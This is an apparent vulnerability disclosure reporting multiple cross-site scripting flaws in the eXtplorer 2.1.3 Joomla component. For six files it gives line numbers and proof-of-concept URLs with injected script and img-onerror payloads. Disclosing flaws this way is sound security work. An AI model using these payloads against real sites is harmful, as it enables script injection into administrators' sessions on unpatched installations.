Hello,

Multiple cross-site scripting (XSS) vulnerabilities in eXtplorer
2.1.3 component for Joomla! allow remote attackers to inject arbitrary web
script or HTML code via a crafted string inthe URL
to application.js.php, admin.php, copy_move.php,
functions.php, header.php and upload.php.

File: /scripts/application.js.php
Line: 45
POC:
http://site/administrator/index.php/"></script><script>alert('XSS')</script>?option=com_extplorer&tmpl=component

File: /include/admin.php
Lines: 72, 143, 176 and 210
POC:
http://site/administrator/index.php<img src=x:alert(alt) onerror=eval(src) alt=XSS>?option=com_extplorer&tmpl=component&action=post&do_action=admin


File: /include/copy_move.php 
Line: 158 
POC:
http://site/administrator/index.php/<img src=x
onerror=alert('XSS')
>?option=com_extplorer&tmpl=component&action=post&do_action=copy

File:  /include/functions.php 
Line: 933 
POC:
http://site/administrator/index.php/"></script><script>alert('XSS')</script>?option=com_extplorer&tmpl=component

File: /include/header.php
Line: 73
POC:
http://site/administrator/index.php/"></script><script>alert('XSS')</script>?option=com_extplorer&tmpl=component

File: /include/upload.php
Lines: 191 and 259
POC:
http://site/administrator/index.php/<img src=x:alert(alt)
onerror=eval(src)
alt=XSS>?option=com_extplorer&tmpl=component&action=upload

Discovered by Mahmoud Ghorbanzadeh, in Amirkabir University of
Technology's Scientific Excellence and Research Centers.


Best Regards.